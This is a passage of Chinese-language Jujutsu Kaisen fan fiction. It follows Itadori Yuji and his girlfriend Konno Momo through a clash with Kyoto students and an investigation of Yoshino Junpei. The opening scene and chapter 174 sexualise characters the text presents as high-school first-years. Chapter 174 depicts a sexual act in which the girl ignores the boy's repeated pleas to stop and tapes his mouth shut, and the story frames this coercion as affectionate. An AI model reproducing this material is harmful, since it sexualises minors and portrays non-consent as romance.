“不要抛下我,悠仁。”她的手臂当真如柔软的藤丝缠绕上来,将他束缚得喘不上气,“悠仁是我的刀鞘,是我的盾牌,悠仁说过,会永远保护我。难道是骗我的吗?” 虎杖悠仁的呼吸彻底乱了。 “不是!”他情不自禁地抬高了点音量,声音在寂静的夜里显得格外响亮,吓得他立刻捂住自己的嘴。他小心地竖起耳朵仔细听着隔壁的动静——好在,除了窗外偶尔掠过的风声,什么也没有。他这才缓缓吐出一口气,紧绷的肩膀松懈下来。 他低下头,两人额头相抵。 “不是骗你的。”他坚定地开口道,“除非小桃说不需要我了,不然我不会离开小桃的。” 今野桃扬起了嘴角,漆黑的眸子如同深不见底的潭水,仿佛要将他的灵魂也吸进去,最好溺死在其中。 “谢谢你,悠仁。”她的唇缓缓贴了过来,大概是黑暗中没找准方向,这个吻先是落在他的下巴上。柔软的唇瓣带着微凉的触感滑动,随后是湿润的舌尖,像小猫喝水般,一点一点地舔过他的嘴角,仿佛在品尝什么珍馐。 虎杖悠仁的手不知道在什么时候也改变了位置,掌心灼热的温度透过单薄的睡衣从后腰处传递过来,斩断了她退缩的道路。 尽管她也并不需要退路。 被子里的温度在飞快地升高,汗水浸湿了衣料,黏腻地贴在皮肤上。空气中弥漫着少年特有的荷尔蒙气息,混着洗发水的甜香,让他的大脑彻底停止了思考。 在没了“场外帮助”后,虎杖悠仁在这场没有硝烟的“战斗”中落入了下风。 他的睫毛在喘息中轻颤,眼底浮着一层湿润的雾,像太阳下泛起粼粼波光的水面。艳色的唇微微张着,漏出一点意犹未尽的舌尖。 涣散的瞳孔逐渐聚焦,但理智回归的同时,感官也跟着变得敏锐了。 薄薄的睡衣根本挡不住两人滚烫的体温,更掩盖不了少年身体最诚实的反应。但他只是弓着腰,将她紧紧搂在怀里,沉默得像是在忍耐什么难以启齿的折磨,力道大得要把她嵌进体内。 “那么……晚安,悠仁。” “嗯,晚安,小桃。” 天还没亮的时候,今野桃像只夜行的猫,悄无声息地从窗口翻了出去,隔壁传来了隐约的声音。没多久,走出寝室门的虎杖悠仁和同期遇上,得到了男同学充满怨念的一个白眼。 伏黑惠找上了班主任。 “五条老师,我要换宿舍。” “啊?为什么?” “因为不想跟情侣一起住。” “哈哈,宿舍 都是单人间,哪里来的……“话音未落,五条悟突然顿住,眼罩后的双眸微微睁大,“诶——?!” 第173章 “把容器……虎杖悠仁,杀掉。”苍老的声音在和室里响起,乐言寺嘉伸的眼窝深深凹陷,眉骨投下的阴影叫人看不清他浑浊的眼珠,“他已经不是人类了,杀掉他,不会有人被追究责任。” 他说得理所当然,听在学生们的耳朵里却让他们胸口发闷。 虎杖悠仁吃下两面宿傩的手指的缘由,大家都已经知道了。为了救人做出这样的举动是完全可以理解的,但如今,他却被冷冰冰地下达了处死的命令。 真的不想执行这种命令啊…… 三轮霞面露为难。 禅院真依抱着手臂靠在墙上,冷淡地开口道:“他不就是因为死不了才能一直活到现在吗,总监部那边也想过办法解决他了吧。” 乐言寺嘉伸捋了一下长长的胡须,说道:“只要他自愿放弃抵抗,选择自我了断即可。” 选择自我了断? 怎么可能,求生是每个人的本能吧…… “东京咒高新入学的人里,除了虎杖悠仁外,还有一个女孩子,是他的女朋友。”乐言寺嘉伸意有所指地提点了他们一句,背后暗含的恶意却是明晃晃的,“据说她也能看见咒灵,因此跟着虎杖悠仁一同进入了高专。在过去的学校里,她一直受到虎杖悠仁的保护,战斗力很弱。” 什么啊,那不就是让他们把她当做人质吗?这也…… 砰! 东堂葵一脚踹开纸糊的障子门,冷笑一声,转身就要离开:“无聊,随便你们好了。” “东堂!”加茂宪纪喊住了他,“校长的话还没说完,别无礼。” 无礼?对卑劣的人来说,不需要礼貌。 东堂葵扯了扯嘴角,回头说道:“小高田会作为十一点开始的散步节目的嘉宾登场,其他的还要我多说吗?” “录下来就行,回来再看。” “直播和录像我都要看!”东堂葵骤然抬高的声音让众人吓了一跳,他眯着眼睛,环视了一圈后说道,“听好了,你们这群看女人没眼光的人,真让我失望!不管什么策略也好,少来指挥我!否则——宰了你们!” 他将脚边断裂的门框踢飞,大摇大摆地走了。 只是看女人没眼光吗?还是说,双方本就不是同一路人呢。 “不论如何,先去打探一下消息吧。” 情报里虎杖悠仁的女朋友或许会成为他们此次任务的突破点。禅院真依垂下眼睑,给东堂葵发了个消息。 东堂葵最终同意了她一起去东京的提议。去年乙骨大杀四方,打得他们京都校颜面扫地。他痛定思痛,努力锻炼了一年,本打算一雪前耻,结果却得知乙骨不会参加,反倒让四个一年级的上。 虽然这其中有总监部的意思和京都校的同意,但还是让人很不爽。 他们两人在东京咒高的小道上碰见了一年级的四个人,虎杖悠仁和他的女朋友走在中间,两个同学分别走在他们两侧,看起来竟然还挺融洽的。 “呃,你们是……?”虎杖悠仁停了下来。 东堂葵和禅院真依的目光落在了虎杖悠仁的身上,他边上的女生被自动忽略。 禅院真依微微扬唇,说出口的话却带着十分的恶意:“不觉得恶心吗?‘容器’这个词还是太委婉了,但说白了就是个半诅咒的怪物吧。如此肮脏的‘非人之物’竟然跟我们一同自称为‘咒术师’,难道你们不觉得恶心吗?” 挑衅的话语说出口,禅院真依和东堂葵本以为对面会暴跳如雷或怒目而对,但出乎意料的是,他们的第一反应竟然是去看那个被忽略的女生。 钉崎几乎是条件反射地一把揽住女生的肩膀,将她往自己怀里带了带,小声说道:“冷静,冷静!就当他们在放屁!” 伏黑惠很紧张地瞥了她一眼、两眼,仿佛在警惕一个随时有可能爆发的炸。弹。 女生温温柔柔地笑了笑:“放心啦,我不会那么没有理智的。你看平时训练的时候,我也没有阻止悠仁呀。” 虎杖悠仁毕竟刚刚进入咒术界没多久,当然不会是前辈们的对手,平时训练的时候总是被揍得很惨。 因而训练结束后,他们就会看见小情侣抱在一起,女生呜呜地哭着说“悠仁受苦了”,男生吸着鼻子说“不辛苦,都是为了能够保护大家”。 他们颇有点被迫参演校园胃痛剧的微妙感觉。 虎杖悠仁上前一步,挡在了同窗们的面前:“随便你们怎么称呼好了,反正我知道自己是谁就足够了。” 东堂葵盯着虎杖悠仁,露出了一个笑容。 “既然如此,那就让我见识一下,你到底能不能代替乙骨吧。” 东堂葵把外套一甩,紫色的上衣被骤然鼓起的肌肉猛地撑破,露出结实的上半身。虎杖悠仁握紧了拳头,摆出起手式,严阵以待。 就在大家以为双方要一触即发时,东堂葵忽地开口道:“对了,你喜欢什么样的女人?” “噶?”虎杖悠仁的头顶冒出了一个问号。 钉崎野蔷薇瞪大了眼睛:“喂喂喂,当着别人女朋友的面,怎么能问这个呢!太没礼貌了吧!” “女朋友又没必要完全符合自己的所有喜好。”东堂葵满不在乎地说道,“顺带一提,我喜欢个头大的女人!” “啊,这样吗……”虎杖悠仁被他带进了坑里,“要这样说的话,那我也喜欢个头大的女生,就像詹妮弗劳伦斯那样。” 东堂葵沉默几秒,突然就流下了眼泪。 “什么……我们竟然是挚友吗……你叫什么名字?” “……虎杖悠仁,不对,我们明明刚刚才知道名字,怎么就成为挚友了啊!”虎杖悠仁手足无措地喊道。 “那都是小事。”东堂葵抹了抹眼泪,抬手道,“反正我也不会对挚友手下留情!” 下一秒,他砂锅大的拳头就已经冲到了虎杖悠仁的面前。 砰! 虎杖悠仁双手交叉在胸前,倒飞出去,在地面滑了十几米才险险停住,随后龇牙咧嘴地甩了甩手臂。 不对劲,东堂葵面无表情地想。以他的力气,虎杖悠仁绝不会这么轻易地接下他的攻击。 接下来的战斗印证了他的想法。他越打越弱,虎杖悠仁越打越强,体力仿佛无穷无尽。 看不见的丝线束缚住了他的手脚,压制住了他的实力。 是术式? 东堂葵扫了一眼观战的三人。 钉崎野蔷薇和伏黑惠的情报很明确,唯一不了解的就是虎杖悠仁的女朋友,那个并未被他们放在眼里的女生。 她的目光始终凝聚在恋人的身上,带着浓郁到粘稠的爱意。 察觉到东堂葵的视线,她极短暂瞄了他一眼。 那目光是轻蔑、冷漠的,他们看不起她,她也看不起他们。 在他分神的刹那,虎杖悠仁的攻击也到他脸上了。 “吃我一拳!” 东堂葵勉强抬手格挡,被这一击打得后退了两步。禅院真依的眼皮抖了抖,面色有点不太好看。 不是吧,虎杖悠仁这么强?连东堂葵都能打成平手,那他们还怎么打? 只有东堂葵知道,自己刚刚经历了什么。 那几秒钟里,他好像回到了七八岁的时候,虽然大脑知道该如何应对,身体却完全没办法跟上节奏。 “东堂!”禅院真依掏出了武器,黑洞洞的枪口对准了两个女生。她还没有搞清楚情况,钉崎野蔷薇冷笑一声,猛然发难,一个跃起就用手臂锁住了她的喉咙。 禅院真依也体会到了东堂葵的困境。 明明刚刚那一下,自己是可以躲开的,但为什么…… 今野桃默不作声,把两人的属性值当跳楼机玩。 力量18?给你拉到8 。 敏捷16?给你拉到3。 虽然只有那么几秒钟,但也足够让他们难受了。 场上一时陷入了诡异的和平,虎杖悠仁和东堂葵玩起了你不动我也不动的游戏。大张旗鼓地打上门,结果竟然是这样的结局,说出去一定会笑死人的吧…… 禅院真依气得拼命挣扎。 “你们在干什么呢!”二年级的学长们终于急匆匆地赶到,熊猫站在了两边的中间,“就不能等到交流会吗,你们也太着急了吧!” 显然已经打不起来了,东堂葵抓了抓头发,转过身去找自己的外套。 临走时,他回头对虎杖悠仁竖起了大拇指。 “不错,我的挚友,期待再次和你交手的那一天!” “啊、啊……好的?”虎杖悠仁结结巴巴地回答。 这就是挚友了吗? 望着两人的背影渐渐远去,虎杖悠仁问熊猫:“那个,他们是谁啊?” “京都校二三年级的学生。”熊猫说道,“是我们这次的对手。” “原来如此……” 一场风波就此平息,但虎杖悠仁走在路上,总觉得自己忘记了什么。 直到下午的课程结束,大家都收拾东西准备去吃晚饭。因为今野桃的动作慢吞吞的,教室里很快就只剩下了小情侣两人。 “走吧走吧,不知道食堂里有什么……” 虎杖悠仁拎起她的书包走在前面。 忽然,他的后背传来了一股不轻不重的力量,他被推得踉跄了两步,伸手扶住了墙壁。 “怎么……?” 虎杖悠仁的话还没说完,柔软又带着香气的女友贴了上来。 她的头轻轻靠着他的脊背,踮起脚尖,呼吸拂过他的后颈。 这本该是十分暧昧的画面,但虎杖悠仁并没有心猿意马,因为她语气幽幽地说—— “抱歉了悠仁,因为我没有大个头,所以你一定很失望吧。” 一瞬间,虎杖悠仁的汗毛竖起来了。 糟、糟糕,要完! 第174章 夕阳的余晖透过半拉的窗帘,在空荡荡的教室里投下了暧昧的橘红色光影。 斑驳的灰尘在阳光下翩翩起舞,给屋内发生的一切蒙上了一层隐秘的柔光滤镜。 虎杖悠仁的侧脸贴在冰凉的墙壁上,喉结紧张地滚动了一下,脊背上沁出了细密的汗珠。 “小、小桃,对不起,我不是那个意思。”他绞尽脑汁地解释道,“我不是说你不好,也不是……总之,我最喜欢的人就是你了!只喜欢你!” 他感受到她的手指灵活地潜入他的衣服下摆,如游蛇一般钻了进来。 虎杖悠仁的声音有些发颤,按在墙上的手指无措地用力抵着,关节都在微微泛白。 两面宿傩在生得领域里笑出了声。 让你们秀恩爱吧,现在终于翻车了。 看样子这个女人可没那么容易哄好。 什么刀和刀鞘,那个小鬼肯定不知道,如果武器太强,主人无法掌控的话,它是会伤主的。 今野桃轻笑了一声,掌心扣在了虎杖悠仁的腰上。 少年的体重超过了八十千克,体脂率却仅有个位数。隐藏在衣服下面的身体分布着仿佛精雕细琢过的肌肉,块垒分明,软中带硬。 明明年龄还没到,身体却已经成熟了。难道这就是“容器”的特殊之处吗? 这可真是…… 太美味了。 “我当然知道悠仁只喜欢我啦,因为我一直注视着悠仁,悠仁身边出现过什么样的人,我都知道。”她踮起脚尖,嘴唇几乎贴上他的耳垂,“但我还是很伤心啊……” 虎杖悠仁的呼吸骤然急促,心脏在胸腔里剧烈跳动,好像要从嗓子眼里跳出来。 他想要起身后退,女生却用膝盖往前一压,死死地将他困在了灼热的身躯和冰冷的墙面之间,无处可逃。 今野桃的手已经挑起了他压在腰带下的衬衫,指甲划过肌肤的感觉让他打了个抖。 “不是哇!”他慌乱地抓住了她的手腕,“小桃你听我解释!” “嗯嗯,你说。”今野桃点点头,少年看不见的身后,她的表情很是敷衍,注意力全都集中在了探索的道路上。 虎杖悠仁的大脑都快被她摸得没办法思考了,张嘴半天只能发出无意义的词语。 “你……我就是……”最后,他只能带着几分委屈、几分赌气地说道,“我只喜欢过你……没有喜欢过别人……” 堂堂“西中之虎”,已经完全被欺负成小猫咪了呀。 今野桃的力气大得惊人,轻易就挣开了他的桎梏,反手扣住他的腰,把人更紧地压上自己。柔软的手抚上他的脸颊,食指摩挲着他的下唇:“悠仁,看着我。” 虎杖悠仁顺从地转动琥珀色的眼珠,和她对视着。 下一秒,她的吻便覆了上来,炽热又潮湿。舌尖强势地撬开他的齿关,肆意掠夺他的呼吸。 他的瞳孔猛然收缩,指尖陷入了墙面之中,留下了深深浅浅的痕迹。 她的舌尖缠绕上来,带动着他一起,却又在少年想要反客为主时,不轻不重地啮咬,似是在惩罚他。等到他因为疼痛而缩回去,她又怜爱般轻轻舔舐。 这种折磨,完全将他的理智给蒸发殆尽。 直到腰带上的金属扣发出了清脆的碰撞声,他才猛然惊醒。 “等、等等——!”他艰难地从欢愉的泥沼里抽身,忙不迭地按住了她作乱的手,脸颊烧得通红,“不行……这样真的不行……” “为什么不行?”今野桃在他的耳边轻轻吹了口气,低语道,“之前,悠仁明明忍耐得很辛苦,不是吗。这一次,隔壁已经没有其他人了哦。” “不是那个原因……”虽然是有做过类似的梦,但那也只是梦而已啊!第一次就在这种半开放的地方,未免也太过刺激了! “我不管,悠仁让我伤心了,难道不应该补偿我吗?”她的手指微勾,立刻引来少年倒吸了一口冷气,她满意地在他脖子上暴起的血管上吻了吻,笑道,“悠仁的身体可比嘴巴诚实多了。” 虎杖悠仁突然有点庆幸她压在自己的身上,让他无法动弹了。否则,他现在一定会膝盖发软,跪到地上去不可。 但是……他还没反应过来,自己感谢的正是罪魁祸首。 “小桃……”他的声音里带上了几分哭腔,眼眶泛红,“真的、真的等下……” 已经开始不自觉地摇摆起腰肢了啊…… 今野桃的眼睛在昏暗的室内亮得惊人,仿佛咬在了猎物后颈上的猛兽。既然被抓住了要害,就别想再逃脱了。 “好喜欢……好喜欢悠仁……”她喟叹道,“悠仁不会离开我的,对吧……” 虎杖悠仁没办法回答她,他羞耻得要窒息了,皮肤滚烫得都在冒热气。 他紧紧抓着她的手腕,以为自己抓住了救命的浮木,但却依然只能随波逐流地飘荡。 “不、不行了!小桃……停、停一下……”他的音调猛然抬高,声音支离破碎。 怎么可能在这里停下。男人的哭声就是最好的催化剂,眼泪是火药的引线,怎么能怪她的理智跟着被烧光。 今野桃对他的祈求充耳不闻,只是自顾自地动作着,甚至加重了力气。 “呜——!”虎杖悠仁猛地仰起头,脖颈绷出了令人口干舌燥的弧线。他的大脑一片空白,眼前发黑,整个世界都好像在天旋地转。 布料摩擦的声音窸窸窣窣地响起,他茫然回头,女生摊开了手掌给他看。 她的食指和拇指之间连着一根要断未断的细丝,在他视线落下时,仿佛终于承载不了那个重量,颓然断开,落在了她的虎口处。 “好多啊,悠仁。”她笑道,每个字都敲击着他的理智,“你现在的样子,好可爱。” 虎杖悠仁瞪大了眼睛,目光里充满了难以置信。 “我们再来一次吧!”她高兴地说道。 “?”虎杖悠仁软绵绵地抬手,想要推开她,“不、不行……” 滋啦。 今野桃不知道从哪里找到了一卷胶带(商城直购),面带微笑地撕开,把他的嘴巴粘住了。 “这是惩罚,悠仁。”她轻声细语地说道,“不能拒绝的。” 她按住他的手,扯开了他的衣领。扣子滚落在地,发出啪嗒的声音。 “放心好了,这里没有监控。” 她安慰的话语并不能让虎杖悠仁放心,这是监控的问题吗?! 不知道过了多久,虎杖悠仁的意识开始变得模糊,他从背对着今野桃,到被她抱在了怀里。两人亲密地依偎在一起。他抖得厉害,手搭 在她的肩膀上,不知道是推拒还是迎合。 那就一律视为欲拒还迎。 “没用。”两面宿傩笑出了声,“只是区区这个程度,就接受不了了吗?” 抓住恍神的瞬间,他顶替了虎杖悠仁。 仿佛触电一般的感觉顺着脊骨蔓延,原本昂扬的斗志瞬间变得微不足道。挥出去的拳头被轻松握住,然后两只手都被胶带缠在了一起。 “我就知道悠仁还可以继续的。”今野桃瞄了一眼属性面板上,少年突然暴涨到23的点数,轻轻扬起了嘴角,“真厉害,悠仁。” 两面宿傩:“……?” 她是看不见自己身上的咒纹、看不到那双变成红色的瞳孔吗? 深深凝视着她,两面宿傩忽然意识到,她是故意的。 ‘不要想用这种方式逃避。’ 她用眼神这么说道。 开玩笑,他堂堂诅咒之王,会害怕这个?。 诅咒之王也有做不到的事情。 当然,他是不会承认的,只是一味地说这具身体不行…… 清晨的阳光斜斜地穿过玻璃窗,风从半开的窗户溜进来。虽然只有四个学生,但老师仍然在尽心尽力地上课。 趁着老师转身写板书的空档,钉崎野蔷薇的笔尖在纸上顿了顿,快速折好纸条弹了过去。纸团精准地落在今野桃的课桌上,发出轻微的“哒”声。 [你们吵架了?] 今野桃展开皱巴巴的纸条,嘴角微微上扬,在上面回道:[没有呀,谢谢野蔷薇关心。] 末尾还画了个小小的爱心。 钉崎接过传回来的纸条,狐疑地皱起鼻子。 没有吵架?那为什么虎杖今天上午一直低着头,就是不肯看自己女朋友呢? 钉崎野蔷薇挑眉,忽然发现不对劲。 她的目光在两人之间来回扫视,注意到虎杖通红的耳尖,在阳光下几乎要滴出血来。 下课铃响起,她看着今野桃转动椅子,递了瓶水给虎杖。 “悠仁,要喝水吗?”今野桃的声音轻轻柔柔。 虎杖悠仁像是被吓了一跳,整个人猛地一颤。他慌张摇头,眼神飘忽不定:“啊、啊……不用的……” “喝点吧。”今野桃不容拒绝地把水杯塞进他手里,说道,“多补充水分,对身体好。” 虎杖悠仁握着水杯,表情复杂,最终又低下了头,恨不得把整张脸都埋进衣领里。他的声音低得几乎听不见:“好,谢谢。” 女生满意了,重新转回去。 很正常的互动,但钉崎野蔷薇却嗅到了几分微妙。 好奇怪,是哪里不对呢? 她怎么也想不明白。 第175章 “哟!”五条悟双手插在裤袋里,迈着六亲不认的步伐晃了进来,银白的发丝在阳光下闪闪发亮,他拖长了音调说道,“米娜桑——上午好啊!” “五条老师上午好!” 扫了一眼自己的四个学生,五条悟扬起了明媚的笑脸:“不错不错,都很有精神嘛,看到你们这么朝气蓬勃,老师我啊,心里可开心了。” 其他人都跟着笑了起来,只有伏黑惠的眉头微不可察地皱了一下。 果然,五条悟的下一句话就是—— “很好,那么我们等下就去做任务吧!” “诶?!” 教室里顿时哀鸿遍野。窗外蝉鸣聒噪,烈日将操场烤得发烫,这种天气出门简直是酷刑哇! 望着学生们的痛苦面具,五条悟笑得越发灿烂,眼罩都已经挡不住他脸上的狡黠:“放心放心,任务超简单的,老师我就不跟着去啦,你们要努力哦!” 他随手把一沓资料甩给他们,确实不是一个很难的任务,甚至可以说得上是简单了。 “调查一个高中生?”钉崎野蔷薇抖了抖文件,奇怪地问道,“难道他跟虎杖一样?” “不太清楚哦,不过他的身上确实发生了一些古怪的事情,因为涉及到了生命安全,所以需要仔细调查一番。”五条悟竖起了一根手指,“建议大家分组安排,这样能提高效率。” 说是分组,但怎么分完全一目了然嘛,毕竟这个班上还有一对情侣…… 虎杖悠仁的喉结滚动了一下,猛地举起手:“我和伏黑一组!” 四道目光齐刷刷射向他。虎杖的耳根以肉眼可见的速度变红,却还是梗着脖子坚持:“我和伏黑一组吧,毕、毕竟大家都是男生,合作起来比较方便什么的……” 伏黑惠的五官都要皱到一起去了,但还是给了男同学几分面子没拒绝。 钉崎野蔷薇挑了挑眉,余光瞥向今野桃。后者正安静地合上课本,嘴角挂着浅浅的微笑。 那种古怪的感觉越发强烈了——他们真的没有吵架吗? “好。”今野桃今野桃的声音轻柔得像一阵风,“那我和野蔷薇一组,可以吗?” 她转头问钉崎野蔷薇,性格直率的女生当然不会拒绝,她早就想换搭档了,伏黑惠那副永远板着脸装模作样的酷哥表情实在让人提不起劲。 五条悟摩挲着下巴,品出了几分微妙。 但他和钉崎野蔷薇一开始想的那样,以为小情侣吵架了。他没打算去管,毕竟他是老师,又不是老妈。 “OK,那你们各自安排好工作就行,不要在外面到处跑,做完了任务就早点回来。” 说完这句话,五条悟愣了一下,随后很大声音地咂了一下嘴。 唉,当初总是嫌弃夜蛾老师啰嗦,没想到如今自己也变成了这样的大人啊。 他真的好辛苦哦,算了,等下奖励自己一个小蛋糕吧。 交代完工作,五条悟将课本拍在讲台上,发出“啪”的一声闷响:“好了,我们接着上课,针对上一次的任务进行一个分析总结……” 五条悟不负责教导他们文化课和基础知识,更注重实践内容。上他的课是没办法摸鱼的,就算背对也不行,那双六眼能精准捕捉到每个开小差的学生,然后送上一个粉笔头。 有人自己淋了雨,也要撕碎别人的伞。 下课铃响了之后,大家几乎是迫不及待地冲了出去。 “五条老师再见!” “诶等下,别忘记给我带手信……” 话音未落,教室门已经被重重关上。五条悟的尾音消散在空气中,大家都装作没有听见。哼哼,毕竟老师出差也从来不给他们带礼物嘛! “那么,我们接下来就先去打听一下这个叫做‘吉野顺平’的高中生的情况?分组的话,可以一组去学校,一组去他的家。”伏黑惠翻看着“窗”那边发过来的资料,淡淡地说道。 关于吉野顺平这个人,资料上已经写得很清楚了。他在学校里逆来顺受,总是被欺负。家里也只有妈妈一个成员,父亲很早就去世了。 “小桃,我们是去学校还是去他家?”钉崎野蔷薇问道。 两个男生表示要发挥绅士精神,让女生那组先选。 今野桃想了想,回道:“我和野蔷薇去他的家里吧。学校那边就拜托给你们了。” “没问题。”伏黑惠无可无不可地点头,推了一把始终不说话的虎杖悠仁,“那我们出发了。” “好。” 四个人在街头分开,各自走向了不同的方向。 伏黑惠一边看地图一边漫不经心地说道:“吵架是不讲道理的,最好还是赶快道歉和好。” “没有吵架!真没有!”虎杖悠仁抓耳挠腮地回答,眼神闪烁得厉害,“我就是觉得,就算是情侣,也要有各自的空间对吧,不能总是黏在一起……” “随便你好了。” 今野桃按照资料上的地址找到了吉野顺平的家。她们先是四下转了两圈,装作不经意地从邻居的口中打探到了关于少年的消息。 在众人的印象中,他是一个沉默内敛、不爱说话的孤僻小孩。 “唉,意料之中啦。”钉崎野蔷薇感慨道,“毕竟是能看见别人看 不见的东西的咒术师,在别人的眼里不是疯子就是怪人。” 今野桃笑了笑,不置可否地开口道:“我们要翻墙进去看看吗?” 这个点,吉野顺平在上课,他妈妈应该在上班,家里没人。 “进去吧,万一里面有什么线索呢。”钉崎野蔷薇烦躁地抱着手臂,小声嘀咕,“如果他真的是杀人凶手,家里应该会有痕迹吧。” 忘了说,他们之所以会前来调查吉野顺平,就是因为他被认为是一场凶杀案的嫌疑人。 虽然从外表上看和他牵扯不到关系,甚至应该说是意外,但警察凭借经验,从蛛丝马迹上发现了猫腻,随后将案件转交给了咒术界的总监部。 “如果……吉野顺平真的是凶手的话,他会被判刑吗?”她踢了踢脚边的小石子,声音很低。 钉崎野蔷薇的疑问也同样是虎杖悠仁的疑问,他甚至比她更加焦虑,因为他已经有过一次被判死刑的经历了。 “不好说。”伏黑惠走在学校里,睫毛在阳光下投下细小的阴影,他平静回答,“如果他真的因为仇恨而杀掉了三个学生,那么被判死刑的概率很大。至于最后结果,还要结合具体情况。” “这样啊……”虎杖悠仁的指甲陷进了掌心,失望地低下了头。 两个男生在学校里转了一圈,竟然没找到吉野顺平。他们出示了自己的学生证后,从班主任的口中问到了他的近况。 “顺平啊,他这两天请假了。”胖得像个球的班主任用手帕擦着额头上的汗,开口道,“怎、怎么了?” “请假?”虎杖悠仁和伏黑惠对视了一眼,这么巧吗? 穿过教学楼的走廊,凭借极其敏锐的听力,他们在嘈杂的声音中捕捉到了吉野顺平的名字。 “……还没回校吗?吉野那家伙也真会躲啊。” “哈哈,没事,等他回来再玩呗。” “也对,他以为自己能跑到哪里去……等他回来有他好看的……” 虎杖的拳头不自觉地攥紧,指节发出“咔哒”声。伏黑惠的眼神暗了暗,幽深的眸子闪过一丝冷意。 但他们忍住了心中的怒气,走出了校园。 “顺平如果能转到高专来的话,那一年级就有五个人了。”虎杖悠仁嘀嘀咕咕地说道,“五条老师一定会很开心。” “确实。”伏黑惠赞同地点头,“走吧,我们去吉野顺平的家里,和她们汇合。” 两人转道前往吉野顺平的住址,隔着远远一段距离,他们看见三个人站在一起。 留着黑色长刘海的男生半低着头,肩膀微微内扣,像只受惊的鹌鹑。他背对着他们,因此看不清楚他的表情。 但两个男生很清楚地看见今野桃对他笑了一下,不是社交场合那种浮于表面的礼貌笑容,这个笑容温柔又平和,好像在安慰他。 忽地,她抬起了手,用指尖拨了拨男生的刘海。 伏黑惠的脚步顿了顿。 这个动作……会不会太亲昵了点? 嗖—— 一阵风刮过,黑色的人影闪现,伏黑惠只觉眼前一花,下一秒,虎杖悠仁就从天而降似的咚一声落地了。 灰尘扬起,吉野顺平不得不后退半步,让开了位置。虎杖悠仁的脸上带着阳光的笑容,出现在了今野桃的身边,毫不客气地贴了上去,肩膀都挨在了一起。 “哟,小桃!”他来回看了看,举起手问道,“你们在干嘛呢?” 第176章 今野桃被一股蛮力挤得踉跄了一下,但还没等她站稳,一只手就扶在了她的腰上,帮她立住了身体。 但把她挤到边上去的人也是他诶! 女生暗暗戳了戳他结实的腰腹,虎杖悠仁却恍若未觉,冲她露出招牌式的灿烂笑容,白得晃眼的牙齿在阳光下闪闪发亮。 太硬了,硌手。 “没什么。”她轻轻地皱了皱鼻子,回道,“哦对了,他就是吉野顺平,我们在门口遇到了他。” 今野桃隐去了她和钉崎野蔷薇试图翻墙进别人家里结果被当场抓住的尴尬,若无其事地解释。 “对对对。”钉崎野蔷薇大力点头,“是这样的。” 吉野顺平没有戳穿她们,他的脸颊有点淡淡的红色,目光没有焦距地在空中游弋。 空气中弥漫着微妙的沉默。 半晌,伏黑惠开口道:“吉野同学,你知道我们来找你的原因吗?” 吉野顺平看向他,只是略一低头,长长的刘海就垂下来,遮住了他的大半张脸,显得他的气质有些阴郁。 “不知道。”他硬邦邦地说道。 钉崎野蔷薇眉毛紧皱:“我们刚刚不是说好了……” “吉野同学。”今野桃拍拍女生的肩膀,阻止了她不自觉带上呵斥语气的话语,声音柔和得像拂过水面的春风,“我们是来帮助你的,你要相信我们呀。” 吉野顺平一言不发。他的目光扫过四个学生身上材质一模一样的制服,他们的领口上都别着相同款式的扣子。 真人的话在他的脑海中响起:如果碰见戴着漩涡状纽扣的学生,记得和他们打好关系。他们是咒术师,一定能和顺平处得来。 漩涡状纽扣……? 但是咒术师的话,和真人先生是敌人吧。 “直接问好了。”虎杖悠仁突然开口,爽朗的声音打破了凝重的氛围,“吉野同学,之前你去的电影院,有三个人死了,那三个人是学校里参加霸凌组织的小混混,该组织的成员也曾霸凌过你。所以我想问一下,你在当时有看见什么吗?” 他直率的发问让吉野顺平有些吃惊,更出乎意料的是,他竟然没有从少年的身上察觉到恶意。 自从上高中,被那些人欺凌后,吉野顺平对人心的洞察能力大幅度提升,那些藏在笑容背后的轻蔑、掩在礼貌之下的嫌恶总是环绕着他,让他无法摆脱。 但现在,他明明是嫌疑犯,明明应该被严厉训斥、审问,这些少年们却语气平静乃至宽和地在询问他。 “伏黑,快把你的小狗召唤一下!”虎杖悠仁用胳膊肘顶了一下表情冷酷的同学。 伏黑惠轻哼一声,把玉犬召唤出来了,纠正道:“不是小狗,是玉犬!” 黑色的玉犬蹲在地上,吐着舌头,歪了歪脑袋。 吉野顺平的手指颤了颤,忍住了想要抚摸的冲动。 “它是咒灵,普通人看不见,只有拥有咒力的咒术师才能看见。”虎杖悠仁解释道。 “没有。”他摇摇头,“我没看见,这种东西我是最近才能清楚看到的。” 那就是说,电影院里发生的事情,跟吉野顺平无关了。 “呼——”虎杖悠仁松了一口气,“太好了。” 他高兴地发出了一声欢呼:“那我们又要多一个同学了!” 吉野顺平:? 这也太草率了吧! 他又去看其他三人,有着海胆头发的男生掏出了手机在发消息,褐色短发的女生抱着手臂在思考,而最漂亮的那个女生在看着粉发少年。 他们都对他的发言没有异议。 吉野顺平好像有点体会到真人所说的,他们会处得来的意思了。 “如果不介意的话……”他很小声地说道,“请到我家里聊一聊?” “真的可以吗?”虎杖悠仁兴致勃勃地说道,“会不会很麻烦?” “不麻烦。”吉野顺平羞赧地笑了笑。 比起傻白甜的虎杖悠仁和几乎完全听从虎杖悠仁意见的今野桃,钉崎野蔷薇和伏黑惠对视了一眼,决定借此机会潜入吉野宅好好打探一番。 吉野顺平的家里被打理得整洁干净,窗户上、阳台上都养了几盆绿植,嫩绿的叶片在阳光下舒展,看得出来主人家是个热爱生活的人。 “打扰了。” 四个学生鱼贯而入,表情还是有点拘束。 “我们是不是该买点什么礼物之类的……”钉崎野蔷薇小声对伏黑惠说道。 伏黑惠尴尬回答:“理论上是要的吧 ,但是……” 但是他们是来调查情况、抓捕犯人的!不是来上门拜访的啊! “我去倒水。”吉野顺平不好意思地说道,“家里没有茶叶,只有水和啤酒。” “没关系没关系!”他们连忙摇头。 冰箱里的水在拿出来时,瓶身上滚落一颗颗的水珠。虎杖悠仁接过一瓶,用袖子随意地擦了擦,递给了今野桃。 “谢谢悠仁。”女生甜甜地对他笑了笑。 虎杖悠仁嘿嘿回道:“不用谢呀。” 吉野顺平的目光在两人身上打了个转,仿佛明白了什么。 钉崎野蔷薇一口气喝完了半瓶水,打了个嗝,惹来了旁边伏黑惠不赞同的眼神。男生小口小口地抿完,然后动作优雅地盖上。 钉崎:……她就说他很装吧! “吉野同学。”伏黑惠开口道,“监控室无法捕捉到咒灵的身影,但能看见你在那几个被害人的面前停了一下,然后很快地跑了出去。那个时候,你没有看见什么其他的东西吗?” “没有。”吉野顺平面不改色地回道,“因为看见了那几个人很可怕的样子,所以……所以我很害怕,就跑掉了。” 这似乎也是说得通的,毕竟吉野顺平之前也是从未接触过咒术界的普通人。 